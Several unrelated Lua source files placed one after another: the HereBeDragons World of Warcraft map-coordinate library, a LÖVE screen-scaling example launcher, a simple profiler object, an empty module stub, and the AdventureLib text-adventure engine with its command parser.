-- HereBeDragons is a data API for the World of Warcraft mapping system -- HereBeDragons-1.0 is not supported on WoW 8.0 if select(4, GetBuildInfo()) >= 80000 then return end local MAJOR, MINOR = "HereBeDragons-1.0", 33 assert(LibStub, MAJOR .. " requires LibStub") local HereBeDragons, oldversion = LibStub:NewLibrary(MAJOR, MINOR) if not HereBeDragons then return end local CBH = LibStub("CallbackHandler-1.0") HereBeDragons.eventFrame = HereBeDragons.eventFrame or CreateFrame("Frame") HereBeDragons.mapData = HereBeDragons.mapData or {} HereBeDragons.continentZoneMap = HereBeDragons.continentZoneMap or { [-1] = { [0] = WORLDMAP_COSMIC_ID }, [0] = { [0] = WORLDMAP_AZEROTH_ID }} HereBeDragons.mapToID = HereBeDragons.mapToID or { Cosmic = WORLDMAP_COSMIC_ID, World = WORLDMAP_AZEROTH_ID } HereBeDragons.microDungeons = HereBeDragons.microDungeons or {} HereBeDragons.transforms = HereBeDragons.transforms or {} HereBeDragons.callbacks = HereBeDragons.callbacks or CBH:New(HereBeDragons, nil, nil, false) -- constants local TERRAIN_MATCH = "_terrain%d+$" -- Lua upvalues local PI2 = math.pi * 2 local atan2 = math.atan2 local pairs, ipairs = pairs, ipairs local type = type local band = bit.band -- WoW API upvalues local UnitPosition = UnitPosition -- data table upvalues local mapData = HereBeDragons.mapData -- table { width, height, left, top } local continentZoneMap = HereBeDragons.continentZoneMap local mapToID = HereBeDragons.mapToID local microDungeons = HereBeDragons.microDungeons local transforms = HereBeDragons.transforms local currentPlayerZoneMapID, currentPlayerLevel, currentMapFile, currentMapIsMicroDungeon -- Override instance ids for phased content local instanceIDOverrides = { -- Draenor [1152] = 1116, -- Horde Garrison 1 [1330] = 1116, -- Horde Garrison 2 [1153] = 1116, -- Horde Garrison 3 [1154] = 1116, -- Horde Garrison 4 (unused) [1158] = 1116, -- Alliance Garrison 1 [1331] = 1116, -- Alliance Garrison 2 [1159] = 1116, -- Alliance Garrison 3 [1160] = 1116, -- Alliance Garrison 4 (unused) [1191] = 1116, -- Ashran PvP Zone [1203] = 1116, -- Frostfire Finale Scenario [1207] = 1116, -- Talador Finale Scenario [1277] = 1116, -- Defense of Karabor Scenario (SMV) [1402] = 1116, -- Gorgrond Finale Scenario [1464] = 1116, -- Tanaan [1465] = 1116, -- Tanaan -- Legion [1478] = 1220, -- Temple of Elune Scenario (Val'Sharah) [1495] = 1220, -- Protection Paladin Artifact Scenario (Stormheim) [1498] = 1220, -- Havoc Demon Hunter Artifact Scenario (Suramar) [1502] = 1220, -- Dalaran Underbelly [1533] = 0, -- Karazhan Artifact Scenario [1612] = 1220, -- Feral Druid Artifact Scenario (Suramar) [1626] = 1220, -- Suramar Withered Scenario [1662] = 1220, -- Suramar Invasion Scenario } -- unregister and store all WORLD_MAP_UPDATE registrants, to avoid excess processing when -- retrieving info from stateful map APIs local wmuRegistry local function UnregisterWMU() wmuRegistry = {GetFramesRegisteredForEvent("WORLD_MAP_UPDATE")} for _, frame in ipairs(wmuRegistry) do frame:UnregisterEvent("WORLD_MAP_UPDATE") end end -- restore WORLD_MAP_UPDATE to all frames in the registry local function RestoreWMU() assert(wmuRegistry) for _, frame in ipairs(wmuRegistry) do frame:RegisterEvent("WORLD_MAP_UPDATE") end wmuRegistry = nil end -- gather map info, but only if this isn't an upgrade (or the upgrade version forces a re-map) if not oldversion or oldversion < 33 then -- wipe old data, if required, otherwise the upgrade path isn't triggered if oldversion then wipe(mapData) wipe(microDungeons) end local MAPS_TO_REMAP = { -- alliance garrison [973] = 971, [974] = 971, [975] = 971, [991] = 971, -- horde garrison [980] = 976, [981] = 976, [982] = 976, [990] = 976, } -- some zones will remap initially, but have a fixup later local REMAP_FIXUP_EXEMPT = { -- main draenor garrison maps [971] = true, [976] = true, -- legion class halls [1072] = { Z = 10, mapFile = "TrueshotLodge" }, -- true shot lodge [1077] = { Z = 7, mapFile = "TheDreamgrove" }, -- dreamgrove } local function processTransforms() wipe(transforms) for _, tID in ipairs(GetWorldMapTransforms()) do local terrainMapID, newTerrainMapID, _, _, transformMinY, transformMaxY, transformMinX, transformMaxX, offsetY, offsetX, flags = GetWorldMapTransformInfo(tID) -- flag 4 indicates the transform is only for the flight map if band(flags, 4) ~= 4 and (offsetY ~= 0 or offsetX ~= 0) then local transform = { instanceID = terrainMapID, newInstanceID = newTerrainMapID, minY = transformMinY, maxY = transformMaxY, minX = transformMinX, maxX = transformMaxX, offsetY = offsetY, offsetX = offsetX } table.insert(transforms, transform) end end end local function applyMapTransforms(instanceID, left, right, top, bottom) for _, transformData in ipairs(transforms) do if transformData.instanceID == instanceID then if left < transformData.maxX and right > transformData.minX and top < transformData.maxY and bottom > transformData.minY then instanceID = transformData.newInstanceID left = left + transformData.offsetX right = right + transformData.offsetX top = top + transformData.offsetY bottom = bottom + transformData.offsetY break end end end return instanceID, left, right, top, bottom end -- gather the data of one zone (by mapID) local function processZone(id) if not id or mapData[id] then return end -- set the map and verify it could be set local success = SetMapByID(id) if not success then return elseif id ~= GetCurrentMapAreaID() and not REMAP_FIXUP_EXEMPT[id] then -- this is an alias zone (phasing terrain changes), just skip it and remap it later if not MAPS_TO_REMAP[id] then MAPS_TO_REMAP[id] = GetCurrentMapAreaID() end return end -- dimensions of the map local originalInstanceID, _, _, left, right, top, bottom = GetAreaMapInfo(id) local instanceID = originalInstanceID if (left and top and right and bottom and (left ~= 0 or top ~= 0 or right ~= 0 or bottom ~= 0)) then instanceID, left, right, top, bottom = applyMapTransforms(originalInstanceID, left, right, top, bottom) mapData[id] = { left - right, top - bottom, left, top } else mapData[id] = { 0, 0, 0, 0 } end mapData[id].instance = instanceID mapData[id].name = GetMapNameByID(id) -- store the original instance id (ie. not remapped for map transforms) for micro dungeons mapData[id].originalInstance = originalInstanceID local mapFile = type(REMAP_FIXUP_EXEMPT[id]) == "table" and REMAP_FIXUP_EXEMPT[id].mapFile or GetMapInfo() if mapFile then -- remove phased terrain from the map names mapFile = mapFile:gsub(TERRAIN_MATCH, "") if not mapToID[mapFile] then mapToID[mapFile] = id end mapData[id].mapFile = mapFile end local C, Z = GetCurrentMapContinent(), GetCurrentMapZone() -- maps that remap generally have wrong C/Z info, so allow the fixup table to override it if type(REMAP_FIXUP_EXEMPT[id]) == "table" then C = REMAP_FIXUP_EXEMPT[id].C or C Z = REMAP_FIXUP_EXEMPT[id].Z or Z end mapData[id].C = C or -100 mapData[id].Z = Z or -100 if mapData[id].C > 0 and mapData[id].Z >= 0 then -- store C/Z lookup table if not continentZoneMap[C] then continentZoneMap[C] = {} end if not continentZoneMap[C][Z] then continentZoneMap[C][Z] = id end end -- retrieve floors local floors = { GetNumDungeonMapLevels() } -- offset floors for terrain map if DungeonUsesTerrainMap() then for i = 1, #floors do floors[i] = floors[i] + 1 end end -- check for fake floors if #floors == 0 and GetCurrentMapDungeonLevel() > 0 then floors[1] = GetCurrentMapDungeonLevel() mapData[id].fakefloor = GetCurrentMapDungeonLevel() end mapData[id].floors = {} mapData[id].numFloors = #floors for i = 1, mapData[id].numFloors do local f = floors[i] SetDungeonMapLevel(f) local _, right, bottom, left, top = GetCurrentMapDungeonLevel() if left and top and right and bottom then instanceID, left, right, top, bottom = applyMapTransforms(originalInstanceID, left, right, top, bottom) mapData[id].floors[f] = { left - right, top - bottom, left, top } mapData[id].floors[f].instance = mapData[id].instance elseif f == 1 and DungeonUsesTerrainMap() then mapData[id].floors[f] = { mapData[id][1], mapData[id][2], mapData[id][3], mapData[id][4] } mapData[id].floors[f].instance = mapData[id].instance end end -- setup microdungeon storage if the its a zone map or has no floors of its own if (mapData[id].C > 0 and mapData[id].Z > 0) or mapData[id].numFloors == 0 then if not microDungeons[originalInstanceID] then microDungeons[originalInstanceID] = { global = {} } end end end local function processMicroDungeons() for _, dID in ipairs(GetDungeonMaps()) do local floorIndex, minX, maxX, minY, maxY, terrainMapID, parentWorldMapID, flags = GetDungeonMapInfo(dID) -- apply transform local originalTerrainMapID = terrainMapID terrainMapID, maxX, minX, maxY, minY = applyMapTransforms(terrainMapID, maxX, minX, maxY, minY) -- check if this zone can have microdungeons if microDungeons[originalTerrainMapID] then -- store per-zone info if not microDungeons[originalTerrainMapID][parentWorldMapID] then microDungeons[originalTerrainMapID][parentWorldMapID] = {} end microDungeons[originalTerrainMapID][parentWorldMapID][floorIndex] = { maxX - minX, maxY - minY, maxX, maxY } microDungeons[originalTerrainMapID][parentWorldMapID][floorIndex].instance = terrainMapID -- store global info, as some microdungeon are associated to the wrong zone when phasing is involved (garrison, and more) -- but only store the first, since there can be overlap on the same continent otherwise if not microDungeons[originalTerrainMapID].global[floorIndex] then microDungeons[originalTerrainMapID].global[floorIndex] = microDungeons[originalTerrainMapID][parentWorldMapID][floorIndex] end end end end local function fixupZones() -- fake cosmic map mapData[WORLDMAP_COSMIC_ID] = {0, 0, 0, 0} mapData[WORLDMAP_COSMIC_ID].instance = -1 mapData[WORLDMAP_COSMIC_ID].mapFile = "Cosmic" mapData[WORLDMAP_COSMIC_ID].floors = {} mapData[WORLDMAP_COSMIC_ID].C = -1 mapData[WORLDMAP_COSMIC_ID].Z = 0 mapData[WORLDMAP_COSMIC_ID].name = WORLD_MAP -- fake azeroth world map -- the world map has one "floor" per continent it contains, which allows -- using these floors to translate coordinates from and to the world map. -- note: due to artistic differences in the drawn azeroth maps, the values -- used for the continents are estimates and not perfectly accurate mapData[WORLDMAP_AZEROTH_ID] = { 63570, 42382, 53730, 19600 } -- Eastern Kingdoms, or floor 0 mapData[WORLDMAP_AZEROTH_ID].floors = { -- Kalimdor [1] = { 65700, 43795, 11900, 23760, instance = 1 }, -- Northrend [571] = { 65700, 43795, 33440, 11960, instance = 571 }, -- Pandaria [870] = { 58520, 39015, 29070, 34410, instance = 870 }, -- Broken Isles [1220] = { 96710, 64476, 63100, 29960, instance = 1220 }, } mapData[WORLDMAP_AZEROTH_ID].instance = 0 mapData[WORLDMAP_AZEROTH_ID].mapFile = "World" mapData[WORLDMAP_AZEROTH_ID].C = 0 mapData[WORLDMAP_AZEROTH_ID].Z = 0 mapData[WORLDMAP_AZEROTH_ID].name = WORLD_MAP -- alliance draenor garrison if mapData[971] then mapData[971].Z = 5 mapToID["garrisonsmvalliance_tier1"] = 971 mapToID["garrisonsmvalliance_tier2"] = 971 mapToID["garrisonsmvalliance_tier3"] = 971 end -- horde draenor garrison if mapData[976] then mapData[976].Z = 3 mapToID["garrisonffhorde_tier1"] = 976 mapToID["garrisonffhorde_tier2"] = 976 mapToID["garrisonffhorde_tier3"] = 976 end -- remap zones with alias IDs for remapID, validMapID in pairs(MAPS_TO_REMAP) do if mapData[validMapID] then mapData[remapID] = mapData[validMapID] end end end local function gatherMapData() -- unregister WMU to reduce the processing burden UnregisterWMU() -- load transforms processTransforms() -- load the main zones -- these should be processed first so they take precedence in the mapFile lookup table local continents = {GetMapContinents()} for i = 1, #continents, 2 do processZone(continents[i]) local zones = {GetMapZones((i + 1) / 2)} for z = 1, #zones, 2 do processZone(zones[z]) end end -- process all other zones, this includes dungeons and more local areas = GetAreaMaps() for idx, zoneID in pairs(areas) do processZone(zoneID) end -- fix a few zones with data lookup problems fixupZones() -- and finally, the microdungeons processMicroDungeons() -- restore WMU RestoreWMU() end gatherMapData() end -- Transform a set of coordinates based on the defined map transformations local function applyCoordinateTransforms(x, y, instanceID) for _, transformData in ipairs(transforms) do if transformData.instanceID == instanceID then if transformData.minX <= x and transformData.maxX >= x and transformData.minY <= y and transformData.maxY >= y then instanceID = transformData.newInstanceID x = x + transformData.offsetX y = y + transformData.offsetY break end end end if instanceIDOverrides[instanceID] then instanceID = instanceIDOverrides[instanceID] end return x, y, instanceID end -- get the data table for a map and its level (floor) local function getMapDataTable(mapID, level) if not mapID then return nil end if type(mapID) == "string" then mapID = mapID:gsub(TERRAIN_MATCH, "") mapID = mapToID[mapID] end local data = mapData[mapID] if not data then return nil end if (type(level) ~= "number" or level == 0) and data.fakefloor then level = data.fakefloor end if type(level) == "number" and level > 0 then if data.floors[level] then return data.floors[level] elseif data.originalInstance and microDungeons[data.originalInstance] then if microDungeons[data.originalInstance][mapID] and microDungeons[data.originalInstance][mapID][level] then return microDungeons[data.originalInstance][mapID][level] elseif microDungeons[data.originalInstance].global[level] then return microDungeons[data.originalInstance].global[level] end end else return data end end local StartUpdateTimer local function UpdateCurrentPosition() UnregisterWMU() -- save active map and level local prevContinent local prevMapID, prevLevel = GetCurrentMapAreaID(), GetCurrentMapDungeonLevel() -- handle continent maps (751 is the maelstrom continent, which fails with SetMapByID) if not prevMapID or prevMapID < 0 or prevMapID == 751 then prevContinent = GetCurrentMapContinent() end -- set current map SetMapToCurrentZone() -- retrieve active values local newMapID, newLevel = GetCurrentMapAreaID(), GetCurrentMapDungeonLevel() local mapFile, _, _, isMicroDungeon, microFile = GetMapInfo() -- we want to ignore any terrain phasings if mapFile then mapFile = mapFile:gsub(TERRAIN_MATCH, "") end -- hack to update the mapfile for the garrison map (as it changes when the player updates his garrison) -- its not ideal to only update it when the player is in the garrison, but updates should only really happen then if (newMapID == 971 or newMapID == 976) and mapData[newMapID] and mapFile ~= mapData[newMapID].mapFile then mapData[newMapID].mapFile = mapFile end -- restore previous map if prevContinent then SetMapZoom(prevContinent) else -- reset map if it changed, or we need to go back to level 0 if prevMapID and (prevMapID ~= newMapID or (prevLevel ~= newLevel and prevLevel == 0)) then SetMapByID(prevMapID) end if prevLevel and prevLevel > 0 then SetDungeonMapLevel(prevLevel) end end RestoreWMU() if newMapID ~= currentPlayerZoneMapID or newLevel ~= currentPlayerLevel then -- store micro dungeon map lookup, if available if microFile and not mapToID[microFile] then mapToID[microFile] = newMapID end -- update upvalues and signal callback currentPlayerZoneMapID, currentPlayerLevel, currentMapFile, currentMapIsMicroDungeon = newMapID, newLevel, microFile or mapFile, isMicroDungeon HereBeDragons.callbacks:Fire("PlayerZoneChanged", currentPlayerZoneMapID, currentPlayerLevel, currentMapFile, currentMapIsMicroDungeon) end -- start a timer to update in micro dungeons since multi-level micro dungeons do not reliably fire events if isMicroDungeon then StartUpdateTimer() end end -- upgradeable timer callback, don't want to keep calling the old function if the library is upgraded HereBeDragons.UpdateCurrentPosition = UpdateCurrentPosition local function UpdateTimerCallback() -- signal that the timer ran HereBeDragons.updateTimerActive = nil -- run update now HereBeDragons.UpdateCurrentPosition() end function StartUpdateTimer() if not HereBeDragons.updateTimerActive then -- prevent running multiple timers HereBeDragons.updateTimerActive = true -- and queue an update C_Timer.After(1, UpdateTimerCallback) end end local function OnEvent(frame, event, ...) UpdateCurrentPosition() end HereBeDragons.eventFrame:SetScript("OnEvent", OnEvent) HereBeDragons.eventFrame:UnregisterAllEvents() HereBeDragons.eventFrame:RegisterEvent("ZONE_CHANGED_NEW_AREA") HereBeDragons.eventFrame:RegisterEvent("ZONE_CHANGED") HereBeDragons.eventFrame:RegisterEvent("ZONE_CHANGED_INDOORS") HereBeDragons.eventFrame:RegisterEvent("NEW_WMO_CHUNK") HereBeDragons.eventFrame:RegisterEvent("PLAYER_ENTERING_WORLD") -- if we're loading after entering the world (ie. on demand), update position now if IsLoggedIn() then UpdateCurrentPosition() end --- Return the localized zone name for a given mapID or mapFile -- @param mapID numeric mapID or mapFile function HereBeDragons:GetLocalizedMap(mapID) if type(mapID) == "string" then mapID = mapID:gsub(TERRAIN_MATCH, "") mapID = mapToID[mapID] end return mapData[mapID] and mapData[mapID].name or nil end --- Return the map id to a mapFile -- @param mapFile Map File function HereBeDragons:GetMapIDFromFile(mapFile) if mapFile then mapFile = mapFile:gsub(TERRAIN_MATCH, "") return mapToID[mapFile] end return nil end --- Return the mapFile to a map ID -- @param mapID Map ID function HereBeDragons:GetMapFileFromID(mapID) return mapData[mapID] and mapData[mapID].mapFile or nil end --- Lookup the map ID for a Continent / Zone index combination -- @param C continent index from GetCurrentMapContinent -- @param Z zone index from GetCurrentMapZone function HereBeDragons:GetMapIDFromCZ(C, Z) if C and continentZoneMap[C] then return Z and continentZoneMap[C][Z] end return nil end --- Lookup the C/Z values for map -- @param mapID the MapID function HereBeDragons:GetCZFromMapID(mapID) if mapData[mapID] then return mapData[mapID].C, mapData[mapID].Z end return nil, nil end --- Get the size of the zone -- @param mapID Map ID or MapFile of the zone -- @param level Optional map level -- @return width, height of the zone, in yards function HereBeDragons:GetZoneSize(mapID, level) local data = getMapDataTable(mapID, level) if not data then return 0, 0 end return data[1], data[2] end --- Get the number of floors for a map -- @param mapID map ID or mapFile of the zone function HereBeDragons:GetNumFloors(mapID) if not mapID then return 0 end if type(mapID) == "string" then mapID = mapID:gsub(TERRAIN_MATCH, "") mapID = mapToID[mapID] end if not mapData[mapID] or not mapData[mapID].numFloors then return 0 end return mapData[mapID].numFloors end --- Get a list of all map IDs -- @return array-style table with all known/valid map IDs function HereBeDragons:GetAllMapIDs() local t = {} for id in pairs(mapData) do table.insert(t, id) end return t end --- Convert local/point coordinates to world coordinates in yards -- @param x X position in 0-1 point coordinates -- @param y Y position in 0-1 point coordinates -- @param zone MapID or MapFile of the zone -- @param level Optional level of the zone function HereBeDragons:GetWorldCoordinatesFromZone(x, y, zone, level) local data = getMapDataTable(zone, level) if not data or data[1] == 0 or data[2] == 0 then return nil, nil, nil end if not x or not y then return nil, nil, nil end local width, height, left, top = data[1], data[2], data[3], data[4] x, y = left - width * x, top - height * y return x, y, data.instance end --- Convert world coordinates to local/point zone coordinates -- @param x Global X position -- @param y Global Y position -- @param zone MapID or MapFile of the zone -- @param level Optional level of the zone -- @param allowOutOfBounds Allow coordinates to go beyond the current map (ie. outside of the 0-1 range), otherwise nil will be returned function HereBeDragons:GetZoneCoordinatesFromWorld(x, y, zone, level, allowOutOfBounds) local data = getMapDataTable(zone, level) if not data or data[1] == 0 or data[2] == 0 then return nil, nil end if not x or not y then return nil, nil end local width, height, left, top = data[1], data[2], data[3], data[4] x, y = (left - x) / width, (top - y) / height -- verify the coordinates fall into the zone if not allowOutOfBounds and (x < 0 or x > 1 or y < 0 or y > 1) then return nil, nil end return x, y end --- Translate zone coordinates from one zone to another -- @param x X position in 0-1 point coordinates, relative to the origin zone -- @param y Y position in 0-1 point coordinates, relative to the origin zone -- @param oZone Origin Zone, mapID or mapFile -- @param oLevel Origin Zone Level -- @param dZone Destination Zone, mapID or mapFile -- @param dLevel Destination Zone Level -- @param allowOutOfBounds Allow coordinates to go beyond the current map (ie. outside of the 0-1 range), otherwise nil will be returned function HereBeDragons:TranslateZoneCoordinates(x, y, oZone, oLevel, dZone, dLevel, allowOutOfBounds) local xCoord, yCoord, instance = self:GetWorldCoordinatesFromZone(x, y, oZone, oLevel) if not xCoord then return nil, nil end local data = getMapDataTable(dZone, dLevel) if not data or data.instance ~= instance then return nil, nil end return self:GetZoneCoordinatesFromWorld(xCoord, yCoord, dZone, dLevel, allowOutOfBounds) end --- Return the distance from an origin position to a destination position in the same instance/continent. -- @param instanceID instance ID -- @param oX origin X -- @param oY origin Y -- @param dX destination X -- @param dY destination Y -- @return distance, deltaX, deltaY function HereBeDragons:GetWorldDistance(instanceID, oX, oY, dX, dY) if not oX or not oY or not dX or not dY then return nil, nil, nil end local deltaX, deltaY = dX - oX, dY - oY return (deltaX * deltaX + deltaY * deltaY)^0.5, deltaX, deltaY end --- Return the distance between two points on the same continent -- @param oZone origin zone map id or mapfile -- @param oLevel optional origin zone level (floor) -- @param oX origin X, in local zone/point coordinates -- @param oY origin Y, in local zone/point coordinates -- @param dZone destination zone map id or mapfile -- @param dLevel optional destination zone level (floor) -- @param dX destination X, in local zone/point coordinates -- @param dY destination Y, in local zone/point coordinates -- @return distance, deltaX, deltaY in yards function HereBeDragons:GetZoneDistance(oZone, oLevel, oX, oY, dZone, dLevel, dX, dY) local oX, oY, oInstance = self:GetWorldCoordinatesFromZone(oX, oY, oZone, oLevel) if not oX then return nil, nil, nil end -- translate dX, dY to the origin zone local dX, dY, dInstance = self:GetWorldCoordinatesFromZone(dX, dY, dZone, dLevel) if not dX then return nil, nil, nil end if oInstance ~= dInstance then return nil, nil, nil end return self:GetWorldDistance(oInstance, oX, oY, dX, dY) end --- Return the angle and distance from an origin position to a destination position in the same instance/continent. -- @param instanceID instance ID -- @param oX origin X -- @param oY origin Y -- @param dX destination X -- @param dY destination Y -- @return angle, distance where angle is in radians and distance in yards function HereBeDragons:GetWorldVector(instanceID, oX, oY, dX, dY) local distance, deltaX, deltaY = self:GetWorldDistance(instanceID, oX, oY, dX, dY) if not distance then return nil, nil end -- calculate the angle from deltaY and deltaX local angle = atan2(-deltaX, deltaY) -- normalize the angle if angle > 0 then angle = PI2 - angle else angle = -angle end return angle, distance end --- Get the current world position of the specified unit -- The position is transformed to the current continent, if applicable -- NOTE: The same restrictions as for the UnitPosition() API apply, -- which means a very limited set of unit ids will actually work. -- @param unitId Unit Id -- @return x, y, instanceID function HereBeDragons:GetUnitWorldPosition(unitId) -- get the current position local y, x, z, instanceID = UnitPosition(unitId) if not x or not y then return nil, nil, instanceIDOverrides[instanceID] or instanceID end -- return transformed coordinates return applyCoordinateTransforms(x, y, instanceID) end --- Get the current world position of the player -- The position is transformed to the current continent, if applicable -- @return x, y, instanceID function HereBeDragons:GetPlayerWorldPosition() -- get the current position local y, x, z, instanceID = UnitPosition("player") if not x or not y then return nil, nil, instanceIDOverrides[instanceID] or instanceID end -- return transformed coordinates return applyCoordinateTransforms(x, y, instanceID) end --- Get the current zone and level of the player -- The returned mapFile can represent a micro dungeon, if the player currently is inside one. -- @return mapID, level, mapFile, isMicroDungeon function HereBeDragons:GetPlayerZone() return currentPlayerZoneMapID, currentPlayerLevel, currentMapFile, currentMapIsMicroDungeon end --- Get the current position of the player on a zone level -- The returned values are local point coordinates, 0-1. The mapFile can represent a micro dungeon. -- @param allowOutOfBounds Allow coordinates to go beyond the current map (ie. outside of the 0-1 range), otherwise nil will be returned -- @return x, y, mapID, level, mapFile, isMicroDungeon function HereBeDragons:GetPlayerZonePosition(allowOutOfBounds) if not currentPlayerZoneMapID then return nil, nil, nil, nil end local x, y, instanceID = self:GetPlayerWorldPosition() if not x or not y then return nil, nil, nil, nil end x, y = self:GetZoneCoordinatesFromWorld(x, y, currentPlayerZoneMapID, currentPlayerLevel, allowOutOfBounds) if x and y then return x, y, currentPlayerZoneMapID, currentPlayerLevel, currentMapFile, currentMapIsMicroDungeon end return nil, nil, nil, nil end
io.stdout:setvbuf("no") push = require "push" --require the library love.window.setTitle("Press space to switch examples") local examples = { "low-res", "single-shader", "multiple-shaders", "mouse-input", "canvases-shaders", "stencil" } local example = 1 for i = 1, #examples do examples[i] = require("examples." .. examples[i]) end function love.resize(w, h) push:resize(w, h) end function love.keypressed(key, scancode, isrepeat) if key == "space" then example = (example < #examples) and example + 1 or 1 --be sure to reset push settings push:resetSettings() examples[example]() love.load() elseif key == "f" then --activate fullscreen mode push:switchFullscreen() --optional width and height parameters for window mode end end examples[example]()
------------------------------------------------------------------------------------------------------------------------ -- -- Profiler.lua -- -- A profiler object. -- ------------------------------------------------------------------------------------------------------------------------ local Profiler = { Start = function(self) assert(not self.__m_running) self.__m_running = true self.__m_startTime = os.clock() self.__m_startMemory = collectgarbage("count") end; Stop = function(self) assert(self.__m_running) self.__m_running = false self.__m_stopTime = os.clock() self.__m_stopMemory = collectgarbage("count") end; GetElapsedTime = function(self) return self.__m_stopTime - self.__m_startTime end; GetMemoryUsage = function(self) return self.__m_stopMemory - self.__m_startMemory end; GetFormattedReport = function(self) local timeElapsedSeconds = self:GetElapsedTime() local memoryUsageKb = self:GetMemoryUsage() return ([[ ================================================================================ == Profiler: %s ================================================================================ Elapsed time : %.10f Seconds Starting Memory : %.10f Kb (%.10f Mb) Stopping Memory : %.10f Kb (%.10f Mb) Change in memory usage : %.10f Kb (%.10f Mb)]]) :format( self.__m_name, self:GetElapsedTime(), self.__m_startMemory, self.__m_startMemory/1024, self.__m_stopMemory, self.__m_stopMemory/1024, memoryUsageKb, memoryUsageKb/1024) end; __tostring = function(self) return ("profiler "..self.__m_name) end; __index = 0; } Profiler.__index = Profiler local __s_profilers = {} function Profiler.new(name) if __s_profilers[name] then return __s_profilers[name] end local instance = { __m_name = name; __m_running = false; __m_startTime = 0.0; __m_stopTime = 0.0; __m_startMemory = 0.0; __m_stopMemory = 0.0; } return setmetatable(instance, Profiler) end function Profiler.delete(name) __s_profilers[name] = nil end return Profiler
--[==[description TODO ]==] local M = { __prefix = 'code', }
--start AdventureLib (c)2009,2010 Robin Wellner --additional Copyright (c) 2010 William Griffin ChangesLog=[["04042010 added exits command returns doors in q room added look inventory object added formatted commands list and action created FLUID stack to house Lib added console for self contained adventure. drag and drop files to Lib or Console to run added actions for directions without `go` and shortcuts n = north,etc 04192010 fixed shortcuts ]] --pass; -- returns :nil; --A placeholder function that does nothing. Mainly for internal use.; pass = function() end --newobject function newobject(class, name, table) local t = table or {} local name = name or #class.all setmetatable(t, {__index = class}) class.all[name] = t t._name = name return t end --room:new room = {all = {}, enter = pass, leave = pass, description = '', current = nil} function room:new(name, t) newobject(self, name, t) t.door = t.door or {} t.objects = t.objects or {} return t end --object:new object = {all = {}} function object:new(name, t) newobject(self, name, t) t.action = t.action or {} return t end --getobj function getobj(param) local obj = room.current.objects[param] if obj then return obj end for k,obj in pairs(room.current.objects) do if obj.description:lower() == param then return obj end end end --getinvobj function getinvobj(param) for i,obj in ipairs(player.inventory) do if obj._name == param or obj.description:lower() == param then return obj, i end end end player = {inventory = {}} --info function info() print(room.current.name) for i in string.gmatch(room.current.description,"%s%s") do room.current.description = string.gsub(room.current.description,"%s%s","\t\n") end print(room.current.description) end --split function split(text) local t = {} local n = 1 for v in string.gmatch(text, "([^ ]+)") do t[n] = v n = n + 1 end return t end -- ACTIONS actions = {}; if not _NODEFAULT then validate = { door = {"go through (.+)", "go (.+)", "use (.+)", "enter (.+)", "north", "east", "west", "south", "left", "right", "up", "down", "n", "e", "w", "s", "l", "r", "u", "d", }, use = {"use (.+)", }, talk = {"talk to (.+)", "talk (.+)", }, look = {"look at (.+)", "room", "look (.+)", "describe (.+)", "examine (.+)", }, pickup = {"pick (.+) up", "pick up (.+)", "pick (.+)", "take (.+)", "get (.+)", }, putdown = {"put (.+) down", "put down (.+)", "put (.+)", "drop (.+)", }, checkinventory = {"check inventory", "check", "list", "inv", "inventory", }, exits = {"exits", "ex", "x", "doors"}, commands = {"commands", "hlist", "clist", "help", "words", }, }; -- commands function commands() commandslist="" for action,valids in pairs(validate) do vs="" for i,valid in ipairs(valids) do vs=vs..valid.."," end if action ~= nil then commandslist = commandslist.."\n\n"..string.upper(action).."\n"..string.sub(vs,1,-1) end end vs = commandslist k="%(%.%+%)" for w in string.gmatch(commandslist,k) do commandslist=string.gsub(commandslist,k,"") end print(commandslist) return commandslist end --actions.commands function actions.commands(param) -- this could do more commands() end --actions.door function actions.door(param) if string.len(param) == 1 then if param == "l" then param = "left" elseif param == "r" then param = "right" elseif param == "e" then param = "east" elseif param == "w" then param = "west" elseif param == "n" then param = "north" elseif param == "s" then param = "south" elseif param == "i" then param = "in" elseif param == "o" then param = "out" elseif param == "u" then param = "up" elseif param == "d" then param = "down" end end local newroomdir = room.current.door[param] if not newroomdir then for k,v in pairs(room.current.door) do if v.destination == param then newroomdir = v break end end end if newroomdir then local newroom = room.all[newroomdir.destination] if newroomdir.locked or newroom and newroom:enter() then if newroom.forbidden then print(newroom.forbidden) else print("You can't go there!") end return end room.current = newroom info() end end --actions.look function actions.look(param) if param ~= 'around' and param ~= 'room' then local obj = getobj(param) if obj == nil then for i,o in ipairs(player.inventory) do if o._name == param or o.description:lower() == param then obj=o end end end if obj then if obj.longdescr then print(obj.longdescr) else print("A mysterious "..(obj.description or param)) end else if param ~= 'look' then print("I see no "..param.." here.") end end else info() print("You see:") for k,v in pairs(room.current.objects) do print('* '..(v.quant or 'a ')..(v.description or k)) end print("\n[exits]") for k,v in pairs(room.current.door) do print('* '..k..' (leading to '..v.destination..')') end end end --actions.pickup function actions.pickup(param) local obj = getobj(param) if obj then if obj.pickup and obj.pickup() then --veto if pickup() returns true return end table.insert(player.inventory, obj) room.current.objects[param] = nil print("You picked up "..(obj.description or param)..".") else print("I see no "..param.." here.") end end function actions.putdown(param) local obj, i = getinvobj(param) if obj then if obj.putdown and obj.putdown() then --veto if pickup() returns true return end table.remove(player.inventory, i) room.current.objects._name = obj print("You put "..(obj.description or param).." down.") else print("You have no "..param.." in your inventory.") end end function actions.checkinventory() if #player.inventory~=0 then print("In your inventory you find:") for k,v in pairs(player.inventory) do print('* '..(v.quant or 'a ')..(v.description or v._name)) end else print("In your inventory you find nothing.") end end else validate = {} end -- get exits function actions.exits(param) room.current.exits ="" for k,v in pairs(room.current.door) do room.current.exits=room.current.exits.. '\n* '..k..' (leading to '..v.destination..')' ; end print("\n[ EXITS ]"..room.current.exits) end -- end actions --fixvalids function fixvalids() for action,valids in pairs(validate) do for i,valid in ipairs(valids) do valids[i] = '^'..valid end end end --doaction function doaction(action, param) actions[action](param) end -- parse function parse(text) local text = text:lower() if text == 'exit' then return 'exit' end for action,valids in pairs(validate) do for i,valid in ipairs(valids) do local result = string.match(text, valid) if result then doaction(action, result) return end end end if notfoundhandler then notfoundhandler(text) end end -- rungame; -- parse commandline input; function rungame() if gamename then print(gamename) end if gamedesc then print(gamedesc) end if commandstable then print(commands()) end --startgame location if not room.current then room.current = select(2, next(room.all)) end --exit because there are no rooms if not room.current then print("No rooms are loaded. Quitting...") return end --room.current.description info() -- variable to hold the terminal input local input --prompt local ps1 = ps1 or "> " --variable to hold resolution of the parse local res if console == true then return end -- write prompt wait on input while true do io.stdout:write(ps1) input = io.stdin:read() -- write linefeed on empty input if not input then io.stdout:write('\n') return end -- res = parse(input) if res == 'exit' then return end end end
